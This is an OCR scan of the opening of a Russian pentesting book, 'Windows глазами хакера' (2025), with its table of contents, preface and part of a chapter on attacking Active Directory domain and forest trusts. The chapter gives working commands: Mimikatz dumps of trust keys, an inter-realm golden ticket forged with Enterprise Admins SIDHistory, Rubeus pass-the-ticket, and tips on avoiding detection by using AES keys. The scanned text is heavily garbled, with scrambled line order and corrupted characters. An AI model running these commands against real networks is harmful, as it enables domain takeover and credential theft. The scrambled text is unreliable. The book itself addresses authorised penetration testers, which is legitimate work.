/
Автор: Жмайло М.А.
Теги: языки программирования программирование информационная безопасность хакинг компьютерная техника операционная система windows
ISBN: 978-5-9775-2116-1
Год: 2025
Текст
Михаил Жмайло
глазами
Санкт-Петербург
« БХВ-Петербург»
2025
УДК
ББК
004.43
32.973-018.1
Ж77
ЖмайлоМ.А.
Ж77
Windows
глазами хакера.
-
СПб.: БХВ-Петербург,
2025. -
464
с.: ил.
ISBN 978-5-9775-2116-1
Active Directory,
подробно
описаны доверенные отношения доменов и лесов, особенности работы
Рассмотрена внутренняя архитектура
Read-only
Domain Controllers,
и
Windows
уязвимости групповых политик и принципы управления приви
легиями. Рассказывается о работе с
Kerberos, инжекте и дампе билетов, угоне поль
WinAPI, СОМ и Named Pipes в пентесте, а
зовательских сессий, использовании
также об обращении к нативному коду из С#. Описаны методы обхода средств за
щиты информации, включая анхукинг
ntdll.dll,
предотвращение подгрузки
DLL,
лазейки для исполнения стороннего кода, применение аппаратных точек останова,
обход
AMSI
и написание раннеров для шелл-кода на
ские рекомендации по обфускации вызовов
WinAPI
.NET.
Приводятся практиче
и защите корпоративных сетей
от атак.
Для пентестеров, реверс-инженеров,
специалистов по информационной безопасности и защите данных
ББК
УДК 004.43
32.973-018.1
Группа подготовки издания:
Руководитель проекта
Павел Шалин
Зав. редакцией
Людмила Гауль
Редактор
Валентин Хол.wогоров
Компьютерная верстка
Ольги Сергиенко
Дизайн обложки
Зои Канторович
Подписано в печать 05.11.25.
Формат 70х100 1 / 16 . Печать офсетная. Усл. печ. л. 37,41.
Тираж 1300 экз. Заказ № 16027
"БХВ-Петербурr", 191036, Санкт-Пе.тербург, Гончарная ул., 20.
Отпечатано с готового оригинал-макета
ООО "Принт-М",
ISBN 978-5-9775-2116-1
142300,
М.О., г. Чехов, ул. Полиграфистов, д.
©
Жмайло М. А.
1
2025
©Оформление.ООО "БХВ-Петербург", ООО "БХВ",
2025
Оглавление
Предисловие ..................................................................................................................... 9
.......................................................................................................................................... 9
От редакции .................................................................................................................................... 10
От автора
ЧАСТЬ
Глава
1. ПЕНТЕСТ ACTIVE DIRECTORY ........................................................... 11
1.
Как работают атаки на доверенные отношения доменов и лесов
AD ..... 13
Разведка .......................................................................................................................................... 14
Леса ......................................................................................................................................... 14
Домены ................................................................................................................................... 15
Trust Keys ....................................................................................................................................... 17
Домены ................................................................................................................................... 17
Леса ......................................................................................................................................... 19
Выдаем себя за контроллер домена ..................................................................................... 20
Неограниченное делегирование ........................................................................................... 20
Между доменами .......................................................................................................... 21
Между лесами ····························~··················································································21
............................................................................................... 22
РАМ Trust ....................................................................................................................................... 23
Обнаружение .......................................................................................................................... 23
Проверка, не в бастионном лесе ли мы ................................................................................ 24
Проверяем, не управляется ли текущий лес каким-то другим по РАМ Trust ................... 25
Дополнительные проверки и новые угрозы ........................................................................ 26
Эксплуатация ................................................................................................................................. 27
Заключение ..................................................................................................................................... 28
Ограниченное делегирование
Глава
2.
Эксплуатируем небезопасные групповые политики
............................. 29
....................................................................................................................................... 29
Обнаружение .................................................................................................................................. 3 О
Эксплуатация ................................................................................................................................. 3 5
mmc ......................................................................................................................................... 35
Файл .ini .................................................................................................................................. 36
Создание GPO ........................................................................................................................ 37
Перемещение через GPO ....................................................................................................... 38
Заключение ..................................................................................................................................... 39
Структура
Оглавление
4
Глава
3. Пентестим Read-only Domain Controllers ................................................. 40
Теория ...................................................................................................................... ~ ..................... .40
................................................................................................ .40
............................................................................................................................... .42
managedBy ..................................................................................................................... 42
msDS-RevealOnDemandGroup, msDS-NeverRevealGroup ......................................... .42
msDS-AuthenticatedToAccountList ............................................................................... 43
msDS-Revealed* ............................................................................................................. 43
Аутентификация пользователей .......................................................................................... .43
Поиск RODC .................................................................................................................................. 44
Получение кешированных паролей с RODC .............................................................................. .46
DSRМ .............................................................................................................................................. 48
1
Особенности работы Kerberos с RODC ....................................................................................... 48
Кеу List ........................................................................................................................................... 50
Контроль над объектом RODC ..................................................................................................... 52
Заключение ..................................................................................................................................... 53
Определения и особенности
Атрибуты
ЧАСТЬ
Глава
11.
4.
СИСТЕМНОЕ ПРОГРАММИРОВАНИЕ ДЛЯ ХАКЕРОВ
Изучаем возможности
WinAPI для
............. 55
пентестера ....................................... 57
SID и токены .................................................................................................................................. 57
Токен и процесс ............................................................................................................................. 58
Приступаем к работе ..................................................................................................................... 59
Получаем токен ...................................................................................................................... 59
Проверка наличия привилегии в токене .............................................................................. 60
Изменение информации токе на ............................................................................................ 61
Выполнение кода с использованием токена ................................................................................ 63
Создание процесса ................................................................................................................. 63
Применение к потоку ............................................................................................................ 65
Заимствование прав подключенного пользователя .................................................................... 65
Без установления соединения ............................................................................................... 65
Именованные каналы ............................................................................................................ 66
Сокеты или друrой механизм взаимодействия ........................................................................... 67
Начало работы ........................................................................................................................ 67
Роль клиента ........................................................................................................................... 69
Роль сервера ........................................................................................................................... 73
Использование полного контекста ....................................................................................... 75
Имперсонация ........................................................................................................................ 75
RevertSecurityContext() ................................................................................................. 76
Получение токена из контекста ................................................................................... 76
Заключение ..................................................................................................................................... 76
Глава
5.
Получаем билеты
TGT
методом
GIUDA .................................................. 77
Logon Session .................................................................................................................................. 77
Как LSA запрашивает билеты Kerberos ....................................................................................... 84
Крадем билет .................................................................................................................................. 85
ТGТ-это TGS ............................................................................................................................. 91
Заключение ..................................................................................................................................... 92
5
Оглавление
Глава
6.
Управляем привилегиями в
Windows ...................................................... 93
Добавляем привилегии аккаунту .................................................................................................. 93
Запускаем процесс с привилегией .......................................................... :................................... 102
.............................................................................................. 105
.................................................................................................... 107
Смотрим привилегии объекта ..........•........................................................................................... 110
Заключение ................................................................................................................................... 111
У дал я ем привилегию из аккаунта
Ищем объекты с привилегией
Глава
Windows раскрывает
пользователя .................................................................................................. 112
7.
пароль
Поставщик небезопасности. Как
Компоненты безопасности .......................................................................................................... 112
Security Package .................................................................................................................... 113
SSP/ АР (или же просто АР) ................................................................................................ 113
Security Providers .................................................................................................................. 114
Credential Providers .............................................................................................................. 115
Password Filters ..... ,............................................................................................................... 115
Как происходит вход пользователя в систему ................................................................... 115
Инициализация LSA ............................................................................................................ 119
Эксплуатация ............................................................................................................................... 123
Как дебажить? ...................................................................................................................... 123
Перехват пароля с помощью внедрения Security Package ................................................ 125
Требования .................................................................................................................. 125
Загрузка в систему ...................................................................................................... 125
Проверка ...................................................................................................................... 126
Перехват пароля .......................................................................................................... 126
Перехват пароля с помощью внедрения Password Filter .................................................. 130
Требования .................................................................................................................. 130
Загрузка в систему ...................................................................................................... 130
Перехват пароля .......................................................................................................... 130
Запрещаем пользователям менять пароль ................................................................ 132
Перехват пароля с помощью диспетчера учетных данных .............................................. 13 3
Теория .......................................................................................................................... 133
Добавление в систему ................................................................................................. 133
Перехват пароля .......................................................................................................... 135
Заключение ................................................................................................................................... 138
Глава
8. Долой Mimikatz!
Инжектим тикеты своими руками ........................... 139
Получение тикета ......................................................................................................................... 139
Подключение к
LSA .................................................................................................................... 141
Обнаружение АР .......................................................................................................................... 143
........................................................................................................................ 144
Проверка ....................................................................................................................................... 146
Заключение ................................................................................................................................... 146
Внедрение билета
Глава
9. Как дам пить
тикеты
Kerberos
на С++ .................................................... 149
.................................................................................................................................. 149
Начало работы ............................................................................................................................. 150
Особенности дампа ...................................................................................................................... 155
Подключение к LSA .................................................................................................................... 156
Получение 1D ............................................................................................................................... 161
Kerberos
АР
б
Оглавление
Перечисляем все
LUID ................................................................................................................ 162
............................................................................................................................. 166
Дамп тикета .................................................................................................................................. 171
Заключение ............................................................ ;...................................................................... 179
Изучение кеша
Глава
10.
Как злоупотреблять хендлами в
Windows ........................................... 180
Интересные хендлы
..................................................................................................................... 180
Изучение хендлов процесса ........................................................................................................ 181
Handle Duplicating ........................................................................................................................ 181
Leaked Handle ............................................................................................................................... 192
Handle Hijacking ........................................................................................................................... 193
Заключение ................................................................................................................................... 204
Глава
11. Достаем
учетные данные
Windows,
не трогая
LSASS ........................ 205
Реквизиты, контекст и блобы
..................................................................................................... 206
Известные атаки ........................................................................................................................... 207
Внутренний монолог ................................................................................. •.................................. 209
Заключение ................................................................................................................................... 217
Глава
12.
Ищем способы обращения к нативному коду из С# ........................... 218
Platfonn Invoke ............................................................................................................................. 218
Dynamic Invoke ............................................................................................................................. 22 l
Parasite Invoke .............................................................................................................................. 227
Dynamic Plnvoke .......................................................................................................................... 230
Hash Invoke ................................................................................................................................... 234
Заключение ................................................................................................................................... 236
Глава
13. Как
работает угон пользовательских сессий в
Windows .............. , .... 237
Поиск сессий пользователей ....................................................................................................... 237
WinAPI .................................................................................................................................. 238
Реестр .................................................................................................................................... 241
Через SCCM ......................................................................................................................... 243
Через RDР-сессии ................................................................................................................ 244
Логи ....................................................................................................................................... 244
Процессы .............................................................................................................................. 248
Кража сессий ................................................................................................................................. 248
Воруем TGS .......................................................................................................................... 248
Манипуляции с токенами .................................................................................................... 250
RemotePotato0 ....................................................................................................................... 251
Запрос чужих сертификатов ................................................................................................ 251
SeMishaPrivilege ................................................................................................................... 252
Leaked Wallpaper .................................................................................................................. 253
Заключение ................................................................................................................................... 255
Глава
14.
Что такое
Используем
Named Pipes
при атаке на
Windows ................................. 256
Pipe .............................................................................................................................. 256
Пример клиента и сервера .......................................................................................................... 258
Изучение доступных пайпов ....................................................................................................... 259
Process Hacker ...................................................................................................................... 259
С++ ........................................................................................................................................ 260
PowerShell ............•.............................................................................................................. :.. 262
7
Оглавление
IO Ninja ................................................................................................................................. 263
PipeViewer ............................................................................................................................ 263
Имперсонация клиентов .............................................................................................................. 263
Чейн с Selmpersoпate ................................................................................................................... 268
Скрытое чтение данных .............................................................................................................. 271
Гонка пайпов ................................................................................................................................ 272
Заключение ................................................................................................................................... 278
Глава
15. Исследуем
обход
UAC
на примере
Elevation Moniker ........................ 279
Моникеры ..................................................................................................................................... 279
.................................................................................................................... 281
Moniker ................................................................................................... 281
Использование Elevation Moniker ............................................................................................... 286
Примеры СОМ-объектов ............................................................................................................ 287
ICMLuaUtil ........................................................................................................................... 287
IFileOperation ........................................................................................................................ 289
Заключение ................................................................................................................................... 290
Подвиды моникеров
Регистрация Elevatioп
Глава
16. Как
работает кража сессии через механизм СОМ .............................. 291
Logon Sessions .............................................................................................................................. 291
Session Moniker ............................................................................................................................ 295
Запуск процесса в чужой сессии ................................................................................................ 301
Утечка хеша пароля при смене обоев ........................................................................................ 302
Заключение ................................................................................................................................... 304
ЧАСТЬ
Глава
111.
17.
СПОСОБЫ ОБХОДА СРЕДСТВ ЗАЩИТЫ IПIФОРМАЦИИ ..... 305
Познаем анхукинг
ntdll.dll ....................................................................... 307
Снятие хука через чтение библиотеки с диска .......................................................................... 308
Снятие хука через КnownDlls
..................................................................................................... 321
Снятие хука через приостановленный процесс ......................................................................... 329
Снятие хука через подгрузку
ntdll.dll
с удаленного веб-сервера ............................................. 335
Заключение ................................................................................................................................... 345
Глава
18.
Изучаем методы предотвращения подгрузки
DLL ............................ 346
UpdateProcThreadAttribute ........................................................................................................... 346
SetProcessMitigationPolicy ........................................................................................................... 353
Включение ACG .......................................................................................................................... 355
Запуск процесса с DEBUG .......................................................................................................... 359
Хук на NtCreateSection ................................................................................................................ 362
Простой вариант .................................................................................................... ,............. 362
Модифицированный вариант .............................................................................................. 363
WMI .............................................................................................................................................. 364
DLL Notification Callbacks ........................................................................................................... 367
ETW (Kemel Provider) ................................................................................................................. 370
Заключение ................................................................................................................................... 373
Глава
19. Ищем
в
Windows лазейки для
исполнения стороннего кода ............ 374
DLL Redirection ............................................. :.............................................................................. 375
Для обычных исполняемых файлов ................................................................................... 375
Сборки .NET ......................................................................................................................... 381
Оглавление
в
Image Path Name Spoofmg ........................................................................................................... 383
Теория ................................................................................................................................... 383
Реализация ............................................................................................................................ 384
WinSxS .......................................................................................................................................... 387
svchost.exe ..................................................................................................................................... 391
LSASS Driver ................................................................................................................................ 391
Заключение ................................................................................................................................... 392
Глава
20. Используем
хардверные брейк-пойнты в пентестерских uелях ...... 393
Обработка исключений
............................................................................................................... 394
Установка hardware breakpoint ................................................................................................... .402
Обход AMSI ................................................................................................................................. 406
Извлечение номеров сисколов ................................................................................................... .408
Анхукинг ..................................................................................................................................... .412
Пишем кастомный GetThreadContext() ..................................................................................... .413
Ставим хуки ................................................................................................................................. 416
Заключение .................................................................................................................................. .416
Глава
21.
Изучаем новый способ обхода
AMSI
в
Windows ................................ .417
Становимся дебаггером ............................................................................................................... 417
Избегаем использования функции
DebugActiveProcess .......................................................... .423
Заключение .................................................................................................................................. .424
Глава
22.
Замена для
на чистом
WinAPI. Пишем раннер для шелл-кода
.NET ............................................................................................................ 425
Синхронизация через
Sleep ......................................................................................................... 427
CreateThread() ............................................................................................................ .429
Копируем память ручками .......................................................................................................... 433
Выделяем исполняемую память без WinAPI ............................................................................ .436
Делегаты ............................................................................................................................... 436
EmitA\loc() ........................................................................................................................... .437
Заключение ................................................................................................................................... 440
Поток без
Глава
23.
Обфусцируем вызовы
WinAPI
новыми способами
............................ 441
Проксирование вызовов .............................................................................................................. 442
Теория
................................................................................................................................... 442
........................................................................................... 443
Таблица экспортов/импортов ................................................................................... .443
Бинарный анализ ......................................................................................................... 443
Пример с DphCommitMemoryFromPageHeap ................................................................... .450
Через RPC ............................................................................................................................. 453
Используем альтернативные функции ...................................................................................... .455
Теория ................................................................................................................................... 455
Замена CRT ......................................................................................................................... .455
Через ссылки на структуры Windows ................................................................................ .456
Изучаем СОМ ....................................................................................................................... 460
Замена ReadProcessMemory() ............................................................................................. .460
Замена WriteProcessMemory() ............................................................................................. 46 \
Где искать альтернативы ..................................................................................................... 461
Заключение .................................................................................................................................. .461
Обнаружение прокси-функций
Предметный указатель
.............................................................................................. 462
Предисловие
От автора
Мой авторский путь начался относительно недавно: летом
2022
года. За немногим
более трех лет количество публикаций перевалило за полсотни, портфолио попол
нилось несколькими выступлениями на российских конференциях, посвященных
информационной безопасности, а некогда мини-бложик, созданный вместе с моим
другом, Павлом Шлюндиным, разросся до большого комьюнити, одно существова
ние которого требует регистрации в Роскомнадзоре.
Идея написания моей первой статьи пришла в голову, как и любые другие судьбо
носные решения, абсолютно случайно. Ранее я, конечно, публиковал небольшие
заметки, мысли и рассуждения в Интернете. Впрочем, это были выжимки текстов
из личной базы знаний, нежели полноценный готовый к употреблению контент.
Однако звезды в ту теплую июльскую ночь сошлись иначе
-
я озвучил свои мысли
по поводу будущего материала вышеупомянутому Павлу, на что получил недву
смысленный ответ: «Может, на "Хакер"?».
На следующий день статья «Дальше в лес. Как работают атаки на доверенные от
ношения доменов и лесов АО» лежала у главреда на столе.
Почему идею я считаю судьбоносной? Мне понравилось. Мне понравилось, быть
может, даже не создавать и не «ресерчить» (впрочем, это тоже приятно), а получать
обратную связь. Насколько же это приятно
Telegram
-
просыпаться с утра, открывать
и видеть в диалогах, среди беспросветного политического новостного
спама, сообщение: «Миша, привет! Спасибо большое за статью, она мне помогла
взять
DA».
И некогда серый, хмурый, загруженный рутиной день становился чу
точку прекраснее.
Буду с откровенным: имелась и финансовая мотивация. Получение после публика
ции небольшой денежки в начале следующего месяца грело мою душу.
На следующий год я в первый и последний раз съездил на
честве участника
-
в
2024
и
2025
Positive Hack Days
в ка
году на моем бейджике красовалось величест
венное «Спикер». Хотя, как оказалось в Лужниках, у обычного участника конфе
ренции иногда было даже больше доступа к различным локациям.
Предисловие
10
Сейчас я вовсю работаю в перспективной компании, готовлю выступления на гря
дущие конференции, пишу инструменты и иногда наслаждаюсь таким редким и
столь желанным сном. Мне
20
лет, я счастлив, полон жизненных сил и энергии,
будни еще не успели потушить тот некогда случайно загоревшийся фитиль энту
зиазма, а впереди долгая, увлекательная и интересная жизнь.
Эта книга
-
собранный воедино результат множества бессонных ночей, хитрых
дум и сладкого кусочка творчества. Спасибо, что приобрели мою книгу. Пишите
мне по вопросам: https://t.me/Мichaelzhm.
От редакции
Книга состоит из трех частей: первая, «Пентест
Active Directory», посвящена ис
Active Directory. Во второй
следованию безопасности сетей, построенных на основе
части собрана информация о хитростях и приемах системного программирования
для хакеров и пентестеров. Наконец, в третьей части описываются способы обхода
средств защиты информации, которые могут применять специалисты по тестирова
нию на проникновение в ходе своей работы.
ВНИМАНИЕ/
Составляющие книгу материалы имеют ознакомительный характер и предназначены
для специалистов по безопасности, проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности за любой вред, причиненный с примене
нием изложенной информации. Распространение вредоносных программ, нарушение
работы систем и нарушение тайны переписки преследуются по закону.
В этой книге используются следующие типографские обозначения:
□ Курсивный шрифт.
Курсивом выделены новые или важные термины, на которые нужно обратить
внимание.
□ Полужирный шрифт.
Им выделяются элементы интерфейса, интернет-адреса
(URL)
и адреса элек
тронной почты.
□
Моноширинный шрифт.
Им выделяются листинги программного кода, а также встречающиеся внутри
абзацев текста ссьшки на элементы программ
-
такие как имена переменных
или функций, базы данных, типы данных, переменные среды, операторы и клю
чевые слова, а также имена файлов, расширения имен файлов и пути.
Поскольку некоторые рисунки (преимущественно снимки экрана) содержат очень
мелкие надписи, которые трудно разобрать на бумаге, мы собрали такие иллюстра
ции в отдельный архив. Его можно скачать со страницы книги на сайте издательст
ва или по ссылке:
https://zip.bhv.ru/9785977521161.zip.
ЧАСТЬ
ТТентест
1
Active Directory
Глава
1.
Как работают атаки на доверенные отношения доменов и лесов АО
Глава
2.
Эксплуатируем небезопасные групповые политики
Глава
3.
Пентестим
Read-only Domain Controllers
ГЛАВА
1
Как работают атаки
на доверенные отношения доменов
и лесов
Active Directory
AD
позволяет строить сети со сложной архитектурой, включающей
несколько доменов и лесов,
иерархию вза
которые поддерживают определенную
имного доверия. Подобные системы неидеальны с точки зрения безопасности,
и, хорошо разбираясь в их устройстве, взломщик может получить к ним несанк
ционированный доступ. В этой главе мы разберем несколько видов атак на отно
шения доменов и лесов в
Active Directory.
Множество компаний использует среду
Active Directory
для администрирования
сети своей организации. Компании растут, домен расширяется, и рано или поздно
наступает момент, когда требуется создать в домене другие домены, чтобы разгра
ничить пользователей, обязанности, да и, в конце концов, позаботиться о безопас
ности.
Допустим, у нас есть компания
MISHA Corporation.
У нее может быть домен
misha.local для администраторов, bank.misha.local для финансового отдела, dev.misha.
local для разработчиков и т. д.
Доверие между двумя доменами может быть двусторонним
bank.misha.local
dev.misha.local -
могут
получать
доступ
к
ресурсам
пользователи домена
-
dev.misha.local,
к bank.misha.local. А может быть односторонним
-
а
пользователи
в таком случае
лишь пользователи одного определенного домена имеют доступ к ресурсам друго
го.
Допустим,
bank.misha.local,
(рис.
учетные
а
вот
записи
dev.misha.local могут ходить
bank.misha.local в dev.misha.local
домена
пользователи
в
домен
не
могут
1.1. ).
Наша прекрасная компания продолжает расширяться и покупает другую компанию,
назовем
ее
MYCRASOFT Corporation.
У
этой
фирмы
также
есть
домен
-
mycra.local, в нем имеются пользователи, сервисы, группы. Все настроено и отлично
работает. Само собой, теперь пользователям домена misha хотелось бы получить
доступ к этому домену. Здесь мы плавно переходим к понятию леса.
Лес
-
самая крупная структура в
AD.
Внутри леса находятся деревья
-
некий на
бор доменов (misha.local, bank.misha.local, dev.misha.local). Между лесами также мож
но настроить как одностороннее, так и двустороннее доверие.
Часть
14
/.
Пентест
Active Directory
Направnение доверия
l
------------------------- -J
Рис.
1.1. Доверие
и доступ в сети с несколькими доменами
Мы рассмотрим безопасность этих доверенных отношений. Опишем набор атак
от простых к сложным
-
и разберем такие темы, как
SID Filtering,
РАМ
Trust, TGT
Delegation.
Когда я пишу «между лесами», я имею в виду атаку, которая выполняется из одно
го леса на другой, например misha.local
<-> priv.local.
Если я пишу «между домена
ми», то я имею в виду атаку между деревьями ( dev .misha. local
<-> misha. local). Чтобы
Kerberos, делегиро
понимать, о чем тут идет речь, читателю нужно разбираться в
вании, а также иметь базовые знания в
Active Directory,
т. к. глава не предполагает
объяснение этих технологий, а лишь рассматривает их возможные недостатки.
Разведка
Сначала предлагаю определить масштаб проблемы. Иногда мы будем использовать
PowerView и Acti ve Directory Module для перечисления объектов.
Леса
Выявить все отношения между лесами поможет встроенный инструмент
(рис.
nltest
1.2):
nltest /domain trusts
Из вывода мы видим, что в исследуемой сети целых три леса. Между ними всеми
установлено двустороннее доверие, а production. local имеет атрибут еnаЫе _ tgt, о ко
тором мы поговорим немного позже.
1. Как работают
Глава
С :
атаки на доверенные отношения доменов и лесов АО
\Users \Ад,-1ини с тparo p >nl tes t /domain_ trusts
доверии доr-1 ена :
Список
0: prodllction prodllction.local (NT 5) (Direct Ol!tbol!nd) (Oirect Inbound) ( Attr: .,foresttrans
1: f·IEGABANI( megabank.loca l (NT 5) (Direct Outbound) (Direct Inbound) ( Attr : foresttrans )
2: priv priv .local (!Н 5) (Forest т,·ее Root) (Prin1ary Domain) (Native)
,
15
выполнена
Ко,-ында
enaЫe _ tgt
успешно.
Рис.
1.2. Nltest
Соберем чуть больше информации с помощью следующих инструментов (рис .
•
#
)
1.3):
Получ и ть и нформацию о лесе
# PowerView
Get-Forest
Get- Forest -Forest priv.loca l
Module
Get-AOForest
Get- AOForest - Identity priv.local
#
#
АО
Получить все доме ны в лесе
# PowerVi ew
# Powe rView v З
Get-ForestOomain
Get- Fo restOomain -For est pri v.local
# PowerView v2
Get - NetFo restOomain - Verbose
Get-Net ForestOomai n -For est priv .local
#
Modul e
(Get -AOFores t ) . Oomains
АО
S
С:\Usеrs\Администратор>
pplicationPartitions
CrossForestReferences
DomainNamingMaster
omains
orestМode
GlobalCatalogs
ame
artitionsContainer
ootDomain
chemaMaster
ites
PNSuffixes
PNSuffixes
get - adforest
{DC=ForestDnsZones,DC=priv,DC=local, DC=DomainDnsZones,DC=priv,DC=local}
{}
dc02.priv.local
{priv.local}
l·lindows2016Forest
{dc02.priv.local}
priv.local
CN=Partitions,CN=Configuration,DC=priv,DC=local
priv.local
dc02.priv.local
{Default-first-Site-Name}
{}
{}
Рис.
1.3.
Сбор дополнительной информации
Домены
Конечно же , мы можем использовать
nltest
с приведенным выше синтаксисом , что
бы уз нать отношения и внутри леса, но рассмотрим вариант с
Module:
PowerView
и АО
16
Часть
/.
Пентест
# PowerView
#vЗ
Get-DomainTrust
Get-DomainTrust -Domain priv.local
Get-DomainTrust -SearchВase GC://priv.local
# v2
Get-NetDomainTrust -Domain priv.local
#
(external) доверия в текущем лесе
Get-NetDomainTrust 1 ?{$ .TrustType -eq 'External')
Найти все внешние
# AD Module
Get-ADTrust
Get-ADTrust -Identity priv.local
PS
С: \Us еrs \Администратор>
Командлет
Укажите
Get-AOTrust
значения
для
Get-ADTrust
в конвейере команд в позиции
сле~ик
1
параметров:
Filter: *
Direction
DisallawTransi vi t y
DistinguishedName
ForestTransitive
Intraforest
IsTreeParent
IsTreeRoot
Name
ObjectClass
ObjectGUID
BiDirectional
False
CN=production. local ,CN=System, OC=pri v ,DC=local
True
False
False
false
production. local
tгustedOomain
5696202 l -4f30· 488e- 929е- 97d9e803564e
Selecti veAuthenticat ion
SIOF il teringforestAware
false
SIDF i 1t егi ngQuarant ined
false
False
Source
DC=pгi V, DC=local
Target
production. local
TGТDelegation
Тгuе
TrustAttributes
2056
TгustedPolic y
TrustingPolicy
TгustT ype
Uplevel
UplevelOnly
UsesAESKeys
UsesRC4Encгypt ion
False
False
False
Direction
DisallowTransi vi ty
BiDirectional
False
DistinguishedName
ПJ=megabank.
ForestTransiti ve
IntraForest
IsTreeParent
IsT reeRoot
True
False
False
False
Name
Obj ectClass
Obj ectGtJID
megabank. local
local, O·J=System, DC=pri v ,DC=local
tгustedOomain
TGТDelegation
3753е5сс- a9d7-492e- Ud2-986a9d40a699
False
False
False
DC=pri v, DC=local
megabank. local
False
T rustAttгibutes
8
Selecti veAuthentication
SIDF i 1teгi ngFoгe stAi,aгe
SIDF i 1teri ngQuaгant ined
Sou rce
Target
TгustedPolic y
Tгu sting Poli cy
TгustType
Uplevel
UplevelOnly
UsesAESKeys
False
UsesRC4Encгyption
Рис.
1.4.
False
False
Связи и отношения внутри леса в исследуемой сети
Active Directory
Глава
1.
Как работают атаки на доверенные отношения доменов и лесов АО
17
Полученный нами вывод показывает связи и отношения внутри леса в исследуемой
сети (рис.
1.4 ).
Trust Keys
Домены
Обеспечивает безопасность специальный ключ
-
ключ доверия, который автома
тически генерируется при создании отношений. При установлении доверия в каж
дом домене создается связанный пользовательский объект для хранения ключа
доверия. Имя пользователя
-
это NetBIOS-имя другого домена, которое заканчи
вается символом $ (аналогично имени учетной записи компьютера). Например,
в случае доверия между доменами misha.local и mycra.local домен misha будет хранить
ключ доверия в пользователе mycra$, а домен mycra будет хранить его в пользователе
misha$.
Мы можем извлечь этот ключ, сдампив ntds.dit, например с помощью mimikatz (мы
должны находиться в высокопривилегированном контексте, рис.
1.5):
privilege: :debug
lsadump: :trust /patch
mimikatz #
ls.эdllmp :
:tru st /patch
Current domain: PRIV.LOCAL (priv / 5-1-5-21-4167132616-2012140818-2162895226)
omain: PROOUCТION. LOCAL (production / 5-1-5-21-1342282399-2354448020-3585081210)
( In ] PRIV. LOCAL - > PRODUCТION. LOCAL
• 08.08.202l 21:52:17
CLEAR
- 7Ь 54 95 95 42 04 31 26 96 92 13 сЬ f9 14 Ье d7 0d 87 67 99
aes 2 56 _ hmac
7 5Ы 5d f 06bd2 f f d 21а6268а90е22 5 249d 36а0684 7 202 7d 2 363 29 f eda 2 56 3с f 64
a58147419001764da846f27a2e844cб1
aes128 hmac
с4
02
0Ь
52 06 26 63 52
с4
02
0Ь
52 06 26 63 52
Ь8
47 bd 87 3d 99 40
4а
Out ] HEGABANK. LOCAL - > PRIV.LOCAL
8Ь Ь6 dc 87 f0 fd f9 f2 еа са le ее еб 42 fб 85 71 32 с6 bf ьв 47 bd 87 3d 99 40
CLEAR
09.ОО_.2022 10:26:00
4а
c0122f988a8f75ff ее 2еб301939Ь3Ьаа
rc4_hm'ac _nt
Out ] PROOUCТION. LOCAL
08.08.2022 21:52:17
аеs25б hnыc
"' aes128=hmac
" rc4 hmac nt
- > PRIV. lOCAl
CLEAR
- 7Ь 54 95 95 42 04 31 26 96 92 13 сЬ f9 14 Ье d7 0d 87 67 99
ае f ddaf 64c 82 а 7 Sc с с 86f 9с 00d 542ef9827 Зd690ЫЬ51890d9 701b36ad06 7 5ef
20ес84Ьс91548с f 4b6bd 3с 7813b6c9af
c0122f988a8f75ffec2e6301939b3baa
Domain: f\EGABArJK.LOCAL (HEGABдNK / 5-1-5-21-4195283В16-889670432-4222737854)
[
In ] PRIV. LOCAL - > IIEGABArJK. LOCAL
09.08.2022 10:26:00
CLEAR
- ВЬ Ь6 dc 87 f0 fd f9 f2 еа са le ее е6 42 f6 85 71 32 с6 bf
aes256_hmac
el fe619514 7е 7b940ad1577f2219b9962 3 7ad8603a0бb8772632a0118f Зе1Ь40
ЫЗ1ее1 f6cea13bf0Saf4275335f8eb8
aes128_hmac
rc4 _ hmac_nt
"
е5051441 fбЫb81bc9deSf lefЗeda26d
aes2Sб_hmac
422a0630991cб4874bdd635c3Зfe3a92933ef8dd3f0dldlad77b7070b05B9765
aes128 hmc1c
rc4_hmdc_nt
065 356a24de 74 5Ыа9 28d 7сааае 7804Ь
е5051441 f 6Ыb81bc9de5f1ef Зeda26d
Рис.
1.5.
Извлечение ключа
Также ключ можно извлечь из хранилища
lsa (рис. 1.6):
lsadump:: lsa /patch
Между доменами по умолчанию всегда применяется шифрование
лесами
-
RC4.
AES, а между
NTLM, если генери
соответственно, ключ AES,
В связи с этим мы должны использовать хеш
руем билет для дальнейшего продвижения по лесам. И,
если перемещаемся между доменами.
18
Часть
/.
:RID
00000459 (1113}
!user
production$
LH
~TLH
c0122f988a8f75ffec2e6301939b3baa
Пентест
Active Directory
(
1RID
0000045а
1User
HEGABANK$
(1114}
<LN
fNТLH
f
Рис.
e5051441f6Ыb81bc9de5f1ef3eda26d
1.6.
Извлечение ключа из хранилища
lsa
Резонный вопрос: зачем так ухищряться, если при использовании NТLM просто
произойдет даунгрейд до
RC4?
Ответ прост: генерировать билет подобным образом
следует для большей скрытности от систем защиты. Современные СЗИ умеют
детектировать понижение шифрования «Кербероса» до
зуйте
AES,
RC4,
в связи с этим исполь
если желаете оставаться невидимкой.
Генерировать билет для доступа к ресурсам другого домена или леса можно вот
так:
kerberos: :golden /dоmаin:<текущий домен> /sid:<SID_текущего_домена>
/sids:<SID_enterprise_admins корневого или атакуемого домена> /rc4:<domain_trust_key>
/user:<нa чье имя билет> /service:<нa какой сервис> /target:<FQDN целевого домена>
/ticket:ticket.kirbi
kerberos: :golden /domain:priv.local /sid:S-l-5-21-210670787-2521448726-163245708 /
sids:S-l-5-21-2781415573-3701854478-2406986946-519 /rc4:e505144lf6Ыb8lbc9de55flef3eda26d
/user:Administrator /service:krbtgt /target:megabank.local /ticket:ticket.kirbi
Зачем нам нужна опция /sids? Это называется атакой
SIDHistory.
Если очень корот 0
ко, то данный атрибут служит для сценариев миграции. Мы записываем в билет,
что пользователь, указанный флагом /user, принадлежит группе с sш, указанной
с помощью
/sids. В ней лучше всего указывать SID группы Enterprise Admins, полу
ченный с корневого либо атакуемого домена (домен dev.misha.local, корневой для
нero-misha.local). Сделать это можно вот так:
dsquery * "CN=Enterprise Admins,CN=Users,DC=megabank,DC=local" -attr objectsid
#
АО
Module
Get-ADGroupMemЬer
-Identity 'Enterprise Admins' -Server megabank.local
# PowerView
Get-DomainGroup -Identity 'Enterprise Admins' -Domain megabank.local I select ObjectSid
Наконец, используя полученный тикет, можно запрашивать
TGS
го домена:
.\RuЬeus.exe asktgs /ticket:ticket.kirbi /service:CIFS/dc.megabank.local
/dc:dc.megabank.local /ptt
на сервисы друго
Глава
1. Как работают атаки на доверенные отношения доменов и лесов АО
19
Леса
